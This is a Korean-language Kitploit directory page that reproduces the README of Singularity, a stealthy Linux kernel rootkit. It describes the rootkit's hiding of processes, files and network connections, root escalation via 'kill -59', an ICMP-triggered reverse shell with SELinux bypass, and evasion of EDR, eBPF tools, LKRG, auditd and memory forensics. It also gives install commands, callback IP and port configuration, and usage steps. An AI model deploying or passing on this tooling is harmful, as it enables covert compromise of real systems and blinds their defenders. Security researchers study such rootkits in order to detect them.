Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/matheuzsecurity/singularity
Privilege Escalation
GitHubmatheuzsecurity/singularity

Singularity

6.x 커널을 위한 은밀한 Linux 커널 루트킷(LKM)으로, 고급 프로세스/네트워크 은닉, 권한 상승, 그리고 eBPF 보안 도구, LKRG, SELinux, 메모리 포렌식에 대한 포괄적인 회피 기능을 갖추고 있습니다.

저장소 보기
1.7k1904013일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Singularity - 은밀한 Linux 커널 루트킷

Singularity Rootkit

"포렌식에 약간의 일거리를 줘볼까?"

Singularity는 현대적인 6.x 커널을 위해 설계된 강력한 Linux 커널 모듈(LKM) 루트킷입니다. ftrace 인프라를 통한 고급 시스템 콜 후킹을 통해 포괄적인 은닉 기능을 제공합니다.

전체 연구 문서 (구버전): Singularity: A Final Boss Linux Kernel Rootkit

EDR 우회 사례 연구: Bypassing Elastic EDR with Singularity

POC 영상: Singularity vs eBPF 보안 도구: Singularity vs eBPF security tools

Singularity 후킹으로 eBPF 보안 무력화하기: Breaking eBPF

Singularity 루트킷: Elastic Defend 모듈 로드 탐지 우회 Bypassing Elastic Defend

Singularity란 무엇인가?

Singularity는 커널 수준에서 동작하는 정교한 루트킷으로, 다음을 제공합니다:

  • 프로세스 은닉: 모든 프로세스를 시스템에서 완전히 보이지 않게 만듭니다
  • 파일 및 디렉터리 은닉: 패턴 매칭을 사용하여 파일을 숨깁니다
  • 네트워크 은닉: TCP/UDP 연결, 포트, conntrack 항목을 숨깁니다
  • 권한 상승: 시그널 기반 즉시 root 접근
  • 로그 정화: 커널 로그와 시스템 저널을 실시간으로 필터링합니다
  • 자기 은닉: 모듈 목록과 시스템 모니터링에서 자신을 제거합니다
  • 원격 접근: ICMP로 트리거되는 리버스 셸과 자동 은닉
  • 탐지 방지: eBPF 기반 런타임 보안 도구(Falco, Tracee)를 회피하고, Linux Kernel Runtime Guard(LKRG)를 우회하며, io_uring 우회 시도를 방지합니다
  • 감사 우회: netlink 수준에서 숨겨진 프로세스의 감사 메시지를 통계 추적 및 소켓 inode 필터링과 함께 삭제합니다
  • 메모리 포렌식 우회: LiME 및 AVML 수집을 차단하고, 물리 덤프에서 모듈 페이지와 숨겨진 task_struct를 0으로 만듭니다; /proc/kcore, /proc/kallsyms, /proc/vmallocinfo를 필터링합니다
  • Cgroup 필터링: cgroup.procs에서 숨겨진 PID를 필터링합니다
  • Syslog 우회: do_syslog를 후킹하여 klogctl() 커널 링 버퍼 접근을 필터링합니다
  • Debugfs 우회: 원시 블록 디바이스를 읽는 debugfs 같은 도구의 출력을 필터링합니다
  • Conntrack 필터링: /proc/net/nf_conntrack 및 netlink SOCK_DIAG/NETFILTER 쿼리에서 연결을 숨깁니다
  • SELinux 우회: ICMP 트리거 시 SELinux enforcing 모드를 자동으로 우회합니다
  • LKRG 우회: Linux Kernel Runtime Guard 탐지 메커니즘을 회피합니다
  • eBPF 보안 우회: eBPF 기반 런타임 보안 도구(Falco, Tracee)에서 프로세스를 숨깁니다

기능

  • 시그널 기반 권한 상승 (kill -59)
  • /proc 및 모니터링 도구로부터의 완전한 프로세스 은닉
  • 파일과 디렉터리에 대한 패턴 기반 파일시스템 은닉
  • netstat, ss, conntrack, 패킷 분석기로부터의 네트워크 연결 은닉
  • 고급 netlink 필터링 (SOCK_DIAG, NETFILTER/conntrack 메시지)
  • dmesg, journalctl, klogctl을 위한 실시간 커널 로그 필터링
  • lsmod 및 /sys/module로부터의 모듈 자기 은닉
  • 커널 taint 플래그 자동 정규화
  • eBPF 기반 탐지를 방지하기 위한 BPF 데이터 필터링
  • 비동기 I/O 우회에 대한 io_uring 보호
  • 커널 메시지 및 시스템 로그에 대한 로그 마스킹
  • 표준 루트킷 탐지기(unhide, chkrootkit, rkhunter) 회피
  • tracepoint 후킹을 통한 자동 자식 프로세스 추적 및 은닉
  • 다중 아키텍처 지원 (x64 + ia32)
  • raw 소켓 보호를 통한 네트워크 패킷 수준 필터링
  • 모든 파일 I/O 변형에 대한 보호 (read, write, splice, sendfile, tee, copy_file_range)
  • auditd 탐지를 회피하기 위한 통계 추적과 함께하는 netlink 수준 감사 메시지 필터링
  • 포괄적인 네트워크 은닉을 위한 소켓 inode 추적
  • /sys/fs/cgroup/*/cgroup.procs를 통한 탐지를 방지하기 위한 Cgroup PID 필터링
  • PID 열거를 방지하기 위한 TaskStats netlink 차단
  • 물리 메모리 수집 저항: copy_mc_to_kernel에 대한 kprobe가 LiME 페이지 복사를 가로채고 모듈 페이지와 숨겨진 task_struct 범위를 0으로 채워진 버퍼로 리다이렉트합니다; AVML은 /proc/kcore 읽기 후킹을 통해 차단됩니다
  • /proc/kcore, /proc/kallsyms, /proc/vmallocinfo 읽기 필터링
  • klogctl()을 필터링하고 커널 링 버퍼 유출을 방지하기 위한 do_syslog 후킹
  • debugfs 및 유사한 디스크 포렌식 도구를 회피하기 위한 블록 디바이스 출력 필터링
  • write 후킹을 통한 journalctl -k 출력 필터링
  • ICMP 트리거 셸을 위한 SELinux enforcing 모드 우회 기능
  • 숨겨진 프로세스에 대한 LKRG 무결성 검사 우회
  • BPF 링버퍼 및 perf 이벤트 가로채기를 통한 Falco 이벤트 은닉

설치

사전 요구 사항

  • Linux 커널 6.x
  • 실행 중인 커널의 커널 헤더
  • GCC 및 Make
  • Root 접근 권한

빠른 설치

cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..

그게 전부입니다. 모듈은 자동으로:

  • lsmod, /proc/modules, /sys/module에서 자신을 숨깁니다
  • 커널 taint 플래그를 지웁니다
  • dmesg, journalctl -k, klogctl에서 민감한 문자열을 필터링합니다
  • 숨겨진 파일과 프로세스를 보호하기 시작합니다

중요 사항

모듈은 로드 후 자동으로 자신을 숨깁니다

언로드 기능이 없습니다 - 제거하려면 재부팅이 필요합니다

먼저 VM에서 테스트하세요 - 재시작 없이는 제거할 수 없습니다

구성

서버 IP와 포트 설정

include/core.h를 편집하세요:

#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

modules/icmp.c 편집:

#define SRV_PORT "8081"  // Change this to your desired port

modules/bpf_hook.c 편집:

#define HIDDEN_PORT 8081  // Must match SRV_PORT

modules/hiding_tcp.c 편집:

#define PORT 8081  // Must match SRV_PORT

중요: 네트워크 은닉과 ICMP 리버스 셸 기능이 제대로 작동하려면 모든 포트 정의가 일치해야 합니다.

사용법

프로세스 숨기기

# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

프로세스는 ps, top, htop, /proc 및 모든 모니터링 도구에 보이지 않게 됩니다. 모든 자식 프로세스는 자동으로 추적되고 숨겨집니다.

파일 및 디렉터리 숨기기

설정한 패턴과 일치하는 파일은 자동으로 숨겨집니다:

mkdir singularity
echo "secret" > singularity/data.txt

# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)

# But you can still access it
cat singularity/data.txt
# secret

# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory

Root 권한 획득

시그널 기반 방법:

kill -59 $$
id  # uid=0(root)

네트워크 연결 숨기기

설정된 포트(기본값: 8081)의 연결은 자동으로 숨겨집니다:

nc -lvnp 8081

# Invisible to all monitoring
ss -tulpn | grep 8081        # (no output)
netstat -tulpn | grep 8081   # (no output)
lsof -i :8081                # (no output)
cat /proc/net/nf_conntrack | grep 8081  # (no output)

# Even advanced netlink queries are filtered
ss -tapen | grep 8081        # (no output)
conntrack -L | grep 8081     # (no output)

패킷은 raw 소켓 수준(tpacket_rcv)에서 드롭되며 다음으로부터 숨겨집니다:

  • /proc/net/* 인터페이스 (tcp, tcp6, udp, udp6)
  • /proc/net/nf_conntrack
  • Netlink SOCK_DIAG 쿼리 (ss, lsof에서 사용)
  • Netlink NETFILTER/conntrack 메시지 (conntrack 도구에서 사용)

ICMP 리버스 셸

자동 SELinux 우회와 함께 원격으로 숨겨진 리버스 셸을 트리거합니다:

1. 리스너 시작:

nc -lvnp 8081  # Use your configured port

2. ICMP 트리거 전송:

sudo python3 scripts/trigger.py <target_ip>

3. 루트 셸 획득 (모든 자식 프로세스와 함께 자동으로 숨겨지며, SELinux 강제 모드가 활성화된 경우 우회됨)

보호 메커니즘

Ftrace 제어 보호

ftrace를 비활성화하려는 모든 시도는 조용히 가로채어 차단됩니다:

echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

보호된 시스템 콜: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (지능형 PID별 캐싱 포함)

BPF 시스템 콜 필터링

bpf_hook.c 모듈은 eBPF 기반 보안 도구에 대항하는 정교한 안티 디텍션 시스템을 구현합니다. BPF 시스템 콜을 완전히 차단하는 대신(이는 탐지 지문이 될 수 있음), 커널 수준에서 데이터를 선택적으로 필터링하여 숨겨진 프로세스와 연결이 eBPF 프로그램에 보이지 않도록 합니다.

전략: BPF 시스템 콜 자체가 아니라 eBPF 프로그램이 사용하는 데이터 수집 및 보고 기능을 가로챕니다. 이를 통해 정상적인 eBPF 도구는 정상적으로 실행되면서 숨겨진 리소스를 볼 수 없게 됩니다.

보호되는 리소스:

  • 숨겨진 프로세스 및 전체 프로세스 트리 (최대 10개 상위 레벨)
  • 설정된 포트(기본값: 8081) 또는 설정된 IP 주소로의 네트워크 연결
  • 숨겨진 프로세스와 연관된 소켓 inode

가로채기 지점:

  • Iterator 실행 (프로세스/소켓 열거)
  • Ringbuffer 작업 (사용자 공간으로의 이벤트 제출)
  • BPF 맵 작업 (PID 조회 및 삽입)
  • Perf 이벤트 출력 (레거시 eBPF 이벤트 전달)
  • Seq 파일 쓰기 (출력 포맷팅)
  • 프로그램 실행 (컨텍스트 기반 필터링)

이 접근 방식은 BPF 작업을 완전히 차단함으로써 발생할 수 있는 경고를 트리거하지 않고 eBPF 보안 도구를 무력화합니다.

io_uring 보호

ftrace_enabled 및 tracing_on 시도에서 io_uring 우회에 대한 보호 (PID당 1초 캐시로 반복적인 프로세스 스캔을 방지하고 오버헤드 감소)

로그 정제

모든 커널 로그 인터페이스에서 민감한 문자열의 실시간 필터링:

도구 다운로드